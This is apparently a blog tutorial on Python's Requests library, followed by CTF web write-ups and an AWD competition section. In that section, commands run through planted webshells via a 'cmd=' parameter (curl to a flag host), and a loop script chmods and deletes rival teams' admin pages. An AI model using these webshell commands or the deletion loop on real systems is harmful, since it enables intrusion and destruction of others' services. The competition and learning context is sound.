Python模塊-Requests學習與CTF和AWD實戰

因爲本篇文章很長,建議去我的個人博客看這篇文章(帶有目錄更方便):
https://jwt1399.top/posts/57181.html

Requests is the only Non-GMO HTTP library for Python, safe for human consumption.

前言

爲什麼學習Requests模塊呢,因爲最近老是遇見它,自己又不太懂,加之在很多Webpoc裏面Requests模塊的出鏡率很高,於是特此學習記錄之。

簡介

Requests是一個簡單方便的HTTP 庫。比Python標準庫中的urllib2模塊功能強大。Requests 使用的是 urllib3,因此繼承了它的所有特性。Requests 支持使用cookie 保持會話,支持文件上傳,支持自動確定響應內容的編碼,支持URLPOST 數據自動編碼。幫助我們輕鬆解決關於HTTP的大部分問題。

安裝

方法一
只要在你的終端中運行這個簡單命令即可:

$ pip install requests

如果你沒有安裝Python,這個 Python installation guide 可以帶你完成這一流程。

方法二
你可以克隆公共版本庫:

git clone git://github.com/kennethreitz/requests.git

獲得代碼之後,你就可以輕鬆的將它嵌入到你的 python 包裏

cd requests
python setup.py install

或者放到你的Python27\Lib\site-packages目錄下

能導入requests,即安裝成功

>>> import requests

Requests常用方法

所有示例都是以Github官網(https://github.com/)爲例

發送請求

發起GET請求;

>>> r = requests.get('https://github.com/')

發起POST請求:

>>> r = requests.post('https://github.com/post', data = {'key':'value'})

其他HTTP 請求類型:PUT,DELETE,HEAD 以及 OPTIONS,都是一樣的簡單

>>> r = requests.put('https://github.com/', data = {'key':'value'})
>>> r = requests.delete('https://github.com/delete')
>>> r = requests.head('https://github.com//get')
>>> r = requests.options('https://github.com/get')

現在,我們有一個名爲rResponse對象。我們可以從這個對象中獲取所有我們想要的信息。

查看請求頭

以查看GET請求的請求頭爲例,POST請求同理:

>>> r = requests.get('https://github.com/')
>>> r.request.headers
{'Connection': 'keep-alive', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'User-Agent': 'python-requests/2.22.0'}

查看請求頭的某一屬性:(大小寫不影響)

>>> r.request.headers['Accept-Encoding']
'gzip, deflate'
>>> r.request.headers.get('user-agent')
'python-requests/2.22.0'

查看響應頭

查看GET請求的響應頭爲例,POST請求同理:

>>> r = requests.get('https://github.com/')
>>> r.headers
{'Status': '200 OK', 'Expect-CT': 'max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"', 'X-Request-Id': '45a5c520-bb73-4677-b30c-19300dcf6f38', 'X-XSS-Protection': '1; mode=block', 'Content-Security-Policy': "default-src 'none'; base-uri 'self'; block-all-mixed-content; ......}

查看響應頭的某一屬性:(大小寫不影響)

>>> r.headers['Status']
'200 OK'
>>>r.headers.get('content-type')
'text/html; charset=utf-8'

查看響應內容

查看服務器返回頁面的內容,以查看GET請求的響應內容爲例,POST請求同理:

>>> r = requests.get('https://github.com/')
>>> r.text
u'\n\n\n\n\n\n<!DOCTYPE html>\n<html lang="en">\n  <head>\n    <meta charset="utf-8">\n...

Requests 會自動解碼來自服務器的內容。大多數 unicode 字符集都能被無縫地解碼。

請求發出後,Requests 會基於 HTTP 頭部對響應的編碼作出有根據的推測。當你訪問 r.text 之時,Requests 會使用其推測的文本編碼。你可以找出 Requests 使用了什麼編碼,並且能夠使用r.encoding 屬性來改變它:

>>> r.encoding
'utf-8'
>>> r.encoding = 'ISO-8859-1'

二進制響應內容

你也能以字節的方式訪問請求響應體,對於非文本請求:

>>> r.content
b'[{"repository":{"open_issues":0,"url":"https://github.com/...

Requests 會自動爲你解碼 gzip 和 deflate 傳輸編碼的響應數據。

例如,以請求返回的二進制數據創建一張圖片,你可以使用如下代碼:

>>> from PIL import Image
>>> from io import BytesIO
>>> i = Image.open(BytesIO(r.content))

傳遞GET請求參數

GET請求參數作爲查詢字符串附加在URL末尾,可以通過requests.get()方法中的params參數(dict類型變量)完成。例如,我要構建的URL爲https://github.com/?username=jwt&id=1,則可以通過以下代碼傳遞GET請求參數:

>>> args = {'username': 'jwt', 'id': 1}
>>> r = requests.get('https://github.com/', params = args)
>>> print(r.url)
https://github.com/?username=jwt&id=1

傳遞POST請求參數

POST請求參數以表單數據的形式傳遞,可以通過requests.post()方法中的data參數(dict類型變量)完成,具體代碼如下:

>>> args = {'username': 'jwt', 'id': 1}
>>> r = requests.post("http://httpbin.org/post", data=args)
>>> print(r.text)
{
  "args": {},
  "data": "",
  "files": {},
  "form": {
    "id": "1",
    "username": "jwt"
  },
  "headers": {
    "Accept": "*/*",
    "Accept-Encoding": "gzip, deflate",
    "Content-Length": "17",
    "Content-Type": "application/x-www-form-urlencoded",
    "Host": "httpbin.org",
    "User-Agent": "python-requests/2.22.0"
  },
  "json": null,
  "origin": "3.112.219.149, 3.112.219.149",
  "url": "https://httpbin.org/post"

由於github官網POST請求參數不以明文展現,此處改爲了其他網站測試

傳遞Cookie參數

HTTP 協議是無狀態的。因此,若不借助其他手段,遠程的服務器就無法知道以前和客戶端做了哪些通信。Cookie 就是手段之一。
Cookie 用於記錄用戶在網站上的登錄狀態。

如果想傳遞自定義Cookie到服務器,可以使用cookies參數(dict類型變量)。以POST請求爲例提交自定義Cookiecookies參數同樣適用於GET請求):

>>> mycookie = {'userid': '123456'}
>>> r = requests.post('https://github.com/', cookies = mycookie)
>>> r.request.headers
...'Cookie': 'userid=123456',...

會話對象Session()

會話是存儲在服務器上的相關用戶信息,用於在有效期內保持客戶端與服務器之間的狀態.Session與Cookie配合使用,當會話或Cookie失效時,客戶端與服務器之間的狀態也隨之失效。

請求模塊中的會話對象Session()能夠在多次請求中保持某些參數,使得底層的TCP連接將被重用,提高了HTTP連接的性能。

Session()的創建過程如下:

>>> s = requests.Session()

在有效期內,同一個會話對象發出的所有請求都保持着相同的Cookie,可以看出,會話對象也可以通過get與post方法發送請求,以發送GET請求爲例:

>>> r = s.get('https://github.com)

我們來跨請求保持一些 cookie:

s = requests.Session()

s.get('http://httpbin.org/cookies/set/sessioncookie/123456789')
r = s.get("http://httpbin.org/cookies")

print(r.text)
# '{"cookies": {"sessioncookie": "123456789"}}'

任何你傳遞給請求方法的字典都會與已設置會話層數據合併。方法層的參數覆蓋會話的參數。

不過需要注意,就算使用了會話,方法級別的參數也不會被跨請求保持。下面的例子只會和第一個請求發送 cookie ,而非第二個:

s = requests.Session()

r = s.get('http://httpbin.org/cookies', cookies={'from-my': 'browser'})
print(r.text)
# '{"cookies": {"from-my": "browser"}}'

r = s.get('http://httpbin.org/cookies')
print(r.text)
# '{"cookies": {}}'

Cookie和Session區別

1.session 在服務器端,cookie 在客戶端(瀏覽器)
2.session 默認被保存在服務器的一個文件裏(不是內存)
3.session 的運行依賴 session id,而 session id 是存在 cookie 中的,也就是說,如果瀏覽器禁用了 cookie ,同時 session 也會失效(但是可以通過其它方式實現,比如在 url 中傳遞 session_id)
4.session 可以放在 文件、數據庫、或內存中都可以。
5.用戶驗證這種場合一般會用 session
6.cookie目的可以跟蹤會話,也可以保存用戶喜好或者保存用戶名密碼
7.session用來跟蹤會話


HTTP代理

如果需要使用代理,你可以通過爲任意請求方法提供 proxies 參數來配置單個請求:

import requests

proxies = {
  "http": "http://10.10.1.10:3128",
  "https": "http://10.10.1.10:1080",
}

requests.get("http://example.org", proxies=proxies)

你也可以通過環境變量 HTTP_PROXYHTTPS_PROXY來配置代理。

$ export HTTP_PROXY="http://10.10.1.10:3128"
$ export HTTPS_PROXY="http://10.10.1.10:1080"

$ python
>>> import requests
>>> requests.get("http://example.org")

若你的代理需要使用HTTP Basic Auth,可以使用 http://user:password@host/語法:

proxies = {
    "http": "http://user:[email protected]:3128/",
}

要爲某個特定的連接方式或者主機設置代理,使用 scheme://hostname 作爲 key, 它會針對指定的主機和連接方式進行匹配。

proxies = {'http://10.20.1.128': 'http://10.10.1.10:5323'}

注意,代理 URL 必須包含連接方式。

SOCKS代理

除了基本的 HTTP 代理,Request 還支持 SOCKS 協議的代理。這是一個可選功能,若要使用, 你需要安裝第三方庫。

你可以用 pip 獲取依賴:

$ pip install requests[socks]

安裝好依賴以後,使用 SOCKS 代理和使用 HTTP 代理一樣簡單:

proxies = {
    'http': 'socks5://user:pass@host:port',
    'https': 'socks5://user:pass@host:port'
}

Request在CTF中實戰

題目 天下武功唯快不破

題目來源:實驗吧
題目鏈接:http://ctf5.shiyanbar.com/web/10/10.php
題目信息:


打開題目,查看源碼

題目提示請用POST請求提交你發現的信息,請求參數的鍵值是key。看看響應頭,果然看到FLAG

將發現字符base64解碼:P0ST_THIS_T0_CH4NGE_FL4G:x63HymPc3

key=x63HymPc3
Hackbar手工提交 POST 請求會有什麼效果:

根據題目意思必須很快的提交,經過研究發現FLAG的值會改變,顯然必須要用腳本來跑了,因此直接上 Python 腳本解題:

# -*- coding: utf-8 -*-
# python 2
import requests
import base64
url = "http://ctf5.shiyanbar.com/web/10/10.php" # 目標URL
headers = requests.get(url).headers # 獲取響應頭
key = base64.b64decode(headers['FLAG']).split(':')[1] # 獲取響應頭中的Flag,用 split(':') 分離冒號兩邊的值,對象中的第二個元素即爲要提交的 key 值
postData = {'key': key} # 構造Post請求體
print(requests.post(url, data = postData).text)# 利用Post方式發送請求並打印響應內容 

運行腳本,得到flag


題目 速度要快

題目來源:bugku
題目鏈接:http://123.206.87.240:8002/web6/
題目信息:

此題是上一題的升級版,除了要求快速發送POST請求,還要求所有的請求必須在同一個Session內完成

打開題目,查看源碼


題目提示請用POST請求提交你發現的信息,請求參數的鍵值是margin。看看響應頭,果然看到flag

將發現字符base64解碼:跑的還不錯,給你flag吧: MzIyMTk1

經過第一次base64解碼後,flag仍然還是一段base64編碼,所以要再解碼一次。解題過程中,要自行動手查看每一次解碼後的值,才能選擇合適的方法去獲得最終key值。

Hackbar手工提交 POST 請求會有什麼效果:

根據題目意思必須很快的提交,經過研究發現flag的值會改變,顯然必須要用腳本來跑了,因此直接上 Python 腳本解題
但是直接用上題腳本發現,發現還是提示快一點
因此查看GET請求和POST請求的請求頭響應頭是否內有玄機
[圖片上傳失敗...(image-1831d8-1585387241499)]
果然如此,GET請求和POST請求的響應頭的Set-Cookie值不相同,即不在同一個會話中,因此編寫腳本
方法一

# -*- coding: utf-8 -*-
# python 2
import requests
import base64
url = 'http://123.206.87.240:8002/web6/'
s = requests.Session() #獲取 Session
headers = s.get(url).headers
key = base64.b64decode(base64.b64decode(headers['flag']).split(":")[1])
post = {"margin":key} 
print(s.post(url, data = post).text)

用會話對象Session()的get和post方法使GET請求與POST請求在同一個Session中

運行腳本,得到flag


方法二
既然只需要保持兩次請求中 Cookie 屬性相同,那能不能構造 Cookie 屬性通過普通的 get 與 post 方法完成呢?答案是可以的。請見如下代碼:

# -*- coding: utf-8 -*-
# python 2
import requests
import base64
url = 'http://120.24.86.145:8002/web6/'
headers = requests.get(url).headers
key = base64.b64decode(base64.b64decode(headers['flag']).split(":")[1])
post = {"margin": key} 
PHPSESSID = headers["Set-Cookie"].split(";")[0].split("=")[1]
cookie = {"PHPSESSID": PHPSESSID}
print(requests.post(url, data = post, cookies = cookie).text)

題目 秋名山老司機

題目來源:bugku
題目鏈接:http://123.206.87.240:8002/qiumingshan/
題目信息:
[圖片上傳失敗...(image-47f086-1585387241499)]

依舊是跟前兩題差不多,前面兩題均是對響應頭中與flag相關的屬性做解碼處理,然後快速發送一個 POST 請求得到 flag 值。而本題要求計算響應內容中的表達式,將結果用 POST 請求發送回服務器換取 flag 值。同樣要利用會話對象 Session(),否則提交結果的時候,重新生成了一個新的表達式,結果自然錯誤。

打開題目,查看源碼
[圖片上傳失敗...(image-d686a9-1585387241499)]
根據題目意思 必須2秒內計算給出算式的值
但是不知道POST的key是什麼,刷新頁面再看看,得到請求參數的 key 值爲value
[圖片上傳失敗...(image-da6c68-1585387241499)]
經過研究發現算式會改變,再加上必須2秒內提交,顯然必須要用腳本來跑了,因此直接上 Python 腳本解題

# -*- coding: utf-8 -*-
# python 2
import requests
import re # 正則表達式
url = 'http://123.206.87.240:8002/qiumingshan/'
s = requests.Session()
r = s.get(url).content
# search() 匹配算術表達式,匹配成功後用 group() 返回算術表達式的字符串。
expression = re.search(r'(\d+[+\-*])+(\d+)', r).group() # search() 的第一個參數是匹配的正則表達式,第二個參數是要匹配的字符串
sum = eval(expression) # eval()自動計算出結果,
post = {'value': sum}
print (s.post(url, data = post).content.decode('utf-8'))

腳本解釋

expression = re.search(r'(\d+[+\-*])+(\d+)', r).group() 

前面的一個r表示字符串爲非轉義的原始字符串,讓編譯器忽略反斜槓,也就是忽略轉義字符。但是這個字符串裏沒有反斜槓,所以這個r可有可無

\d+代表一個或多個數字
[+\-*]匹配一個加號,或一個減號,或一個乘號,注意減號在中括號內是特殊字符,要用反斜槓轉義;
(\d+[+\-*])+代表一個或多個由數字與運算符組成的匹配組;最後再加上剩下的一個數字(\d+)

Python 正則表達式
正則表達式
運行腳本,就有一定的概率可以獲得flag,經嘗試與猜測只有當Give me value post about...界面出現提交才能得到flag
所以多運行幾次腳本flag就能得到了
[圖片上傳失敗...(image-19cdb0-1585387241499)]

題目 快速口算

題目來源:網絡信息安全攻防學習平臺
題目鏈接:http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php
題目信息:
[圖片上傳失敗...(image-252aed-1585387241499)]

跟上一題原理一樣,唯一不同就是正則表達式稍有變動,因爲兩題算式形式略有不同

打開題目,查看源碼
[圖片上傳失敗...(image-26c5a-1585387241499)]
根據題目意思 必須2秒內計算給出算式的值,源碼中得到請求參數的 key 值爲v
解題腳本:

# -*- coding: utf-8 -*-
# Python 2
import requests
import re # 正則表達式
url="http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php"
s=requests.Session()
r=s.get(url).content
expression=re.search(r'[0-9+*()]+[)]',r).group()
sum=eval(expression) 
postdata={'v':sum}
print(s.post(url,data=postdata).content.decode('utf-8'))

0-9+代表一個或多個數字
+*()匹配一個加號,或一個乘號,或一個括號
[0-9+*()]+代表一個或多個由數字與運算符組成的匹配組;最後再加上剩下的一個後括號[)]
運行腳本,得到flag
[圖片上傳失敗...(image-53f0e6-1585387241499)]

題目 cookies欺騙

題目來源:bugku
題目鏈接:http://123.206.87.240:8002/web11/
題目信息:


打開題目,看到一段字符,各種編碼嘗試之後,未果。。。

發現url中的filename的值a2V5cy50eHQ=base64編碼,解碼後是keys.txt
直接訪問keys.txt,發現回顯的就是剛纔的那段字符

也就是說filename能讀取文件,但是文件名要base64編碼
因此我們來讀取index.php,將其base64編碼

urlline參數應該是行數,試一下line=1

出現一行代碼,再試一下line=2顯示了不同的代碼

由此推斷改變line值就能夠讀取index.php,但是手動改太麻煩,因此我們寫一個腳本來讀取index.php

import requests

for i in range(0,30):
    url='http://123.206.87.240:8002/web11/index.php?line='+str(i)+'&filename=aW5kZXgucGhw'
    r=requests.get(url)
    print r.text

運行腳本得到源碼


審計代碼,cookie必須滿足margin=margin才能訪問keys.php
keys.php進行base64編碼

抓包之後,加上Cookie:margin=margin

看了網上也可用Hackbar,執行之後查看源碼

Request在AWD中實戰

題目:JEECMS

題目來源:2019四川省省賽AWD
題目鏈接:鏈接:https://pan.baidu.com/s/1YpdKs8BwQpUuCosqNM_-9w
提取碼:kg4y
題目信息:
[圖片上傳失敗...(image-e4d37-1585387241499)]

ssh連接,將源碼down下來,D盾掃描



一共四個木馬,兩個多功能大馬
[圖片上傳失敗...(image-33bdb2-1585387241499)]
根據掃出的命令執行漏洞,直接獲取flag手工提交

http://192.200.1.11:8080/jeecmsv9f/thirdparty/ueditor/index.jsp?cmd=curl http://192.200.0.70/remoteflag/
http://192.200.1.12:8080/jeecmsv9f/thirdparty/ueditor/index.jsp?cmd=curl http://192.200.0.70/remoteflag/
http://192.200.1.num:8080/jeecmsv9f/thirdparty/ueditor/index.jsp?cmd=curl http://192.200.0.70/remoteflag/
# 題目提供的flag所在地 curl http://192.200.0.70/remoteflag/

根據漏洞,利用Requests寫出宕機腳本,直接刪除敵方頁面

import requests

for num in range(11,43):  #這個範圍是打的ip是11-43的隊伍
    #修改要刪除頁面的權限
    url='http://192.200.1.'+str(num)+':8080/jeecmsv9f/thirdparty/ueditor/index.jsp?cmd=chmod 777 /home/ctf/apache-tomcat-7.0.79/webapps/jeecmsv9f/jeeadmin/jeecms/index.do'

    r = requests.get(url,timeout=5)
    #刪除頁面
    url='http://192.200.1.'+str(num)+':8080/jeecmsv9f/thirdparty/ueditor/index.jsp?cmd=rm%20/home/ctf/apache-tomcat-7.0.79/webapps/jeecmsv9f/jeeadmin/jeecms/index.do'

    r = requests.get(url,timeout=5)

    print('\n')

    url='http://192.200.1.'+str(num)+':8080/jeeadmin/jeecms/index.do'

    print('\n')

    print(r.text)

參考:
快速上手-Requests
高級用法-Requests
詳解CTF Web中的快速反彈POST請求

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章